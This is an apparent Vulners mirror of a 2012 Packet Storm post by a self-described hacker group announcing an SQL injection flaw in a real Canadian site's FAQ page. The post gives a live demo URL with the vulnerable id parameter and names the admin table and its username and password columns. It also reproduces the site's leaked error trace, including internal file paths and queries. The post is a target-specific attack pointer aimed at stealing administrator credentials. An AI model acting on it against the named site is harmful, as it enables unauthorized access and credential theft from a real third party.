Lucene search
K

DGC SQL Injection

🗓️ 28 Jan 2012 00:00:00Reported by Skote VahshatType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 42 Views

DGC SQL Injection vulnerability in dgc.ca website, allowing unauthorized access to the admin table and username/password columns via SQL injection. Powered by PHP/4.4.2-1build1 and MySQL, running on Apache/2.0.55 (Ubuntu).

Code
`|=*-*-*-*-*=*-*-*-*-*=*-*-*-*-*=*-*-*-*-*=*-*-*-*-*=*-*-*-*-*-*-*-*-*=|  
|* ______ ____ __ __ |  
|* /\__ _\/\ _`\ /\ \/\ \ |  
|* \/_/\ \/\ \ \L\ \\ \ \_\ \ { Turki$ hackers } |  
|* \ \ \ \ \ _ <'\ \ _ \ |  
|* \ \ \ \ \ \L\ \\ \ \ \ \ |  
|* \ \_\ \ \____/ \ \_\ \_\ |  
|* \/_/ \/___/ \/_/\/_/ |  
|* |  
|* I'm Wolf Long live wolf |  
|=*-*-*-*-*=*-*-*-*-*=*-*-*-*-*=*-*-*-*-*=*-*-*-*-*=*-*-*-*-*-*-*-*-*=|  
=======================================================================  
\* [Title] :[dgc sql injection vulnerability] /*   
\* [Author] :[skote_vahshat] /*  
\* [Home] :[Http://turk-bh.ir] /*  
\* [Email] :[[email protected]] /*  
  
=======================================================================  
/* Web Server ==>> [ Apache/2.0.55 (Ubuntu) PHP/4.4.2-1build1 ]  
/* Powered-by ==>> [ PHP/4.4.2-1build1 ]  
/* DB Server ==>> [ MySQL ]  
/*  
/* [+]Exploit :  
/* http://www.target.com/faq2.php?id=[SQLi]  
/* [+]Demo:  
/* http://www.dgc.ca/faq2.php?language=0&id=173&faqid=573  
/* [+] Tble admin:  
/* bs_availability_user  
/*  
/* [+]column name:  
/* username pass  
/*  
/* [+]ErroR injection:  
/*  
/*  
/*/-----------------------  
/*  
  
/* SELECT * FROM faq WHERE id = 573  
<?php  
= array (  
0 =>   
array (  
'file' => '/mnt/alpha/dgc.ca/include/faq.php',  
'line' => 26,  
'function' => 'querydb',  
'class' => 'faq',  
'type' => '->',  
'args' =>   
array (  
0 => 'SELECT * FROM faq WHERE id = 573\\\'',  
),  
),  
1 =>   
array (  
'file' => '/mnt/alpha/dgc.ca/include/faq.php',  
'line' => 20,  
'function' => 'load',  
'class' => 'faq',  
'type' => '->',  
'args' =>   
array (  
),  
),  
2 =>   
array (  
'file' => '/mnt/alpha/dgc.ca/faq2.php',  
'line' => 150,  
'function' => 'faq',  
'class' => 'faq',  
'type' => '->',  
'args' =>   
array (  
0 => '573\\\'',  
),  
),  
);  
?>  
/*  
// QUERY: SELECT id FROM faq WHERE parent_id = 573\' ORDER BY display_order  
<?php  
= array (  
0 =>   
array (  
'file' => '/mnt/alpha/dgc.ca/include/faq.php',  
'line' => 201,  
'function' => 'querydb',  
'class' => 'faq',  
'type' => '->',  
'args' =>   
array (  
0 => 'SELECT id FROM faq WHERE parent_id = 573\\\' ORDER BY display_order',  
),  
),  
1 =>   
array (  
'file' => '/mnt/alpha/dgc.ca/faq2.php',  
'line' => 151,  
'function' => 'get_children_ids',  
'class' => 'faq',  
'type' => '->',  
'args' =>   
array (  
),  
),  
);  
?>  
=======================================================================  
|_***_| spical thanks : bl4ck.viper ,dr.tofan , nafsh, netqurd |   
|_***_| tbh team , cyberwh team , all turkiS hackers|  
=======================================================================  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Jan 2012 00:00Current
0.4Low risk
Vulners AI Score0.4
42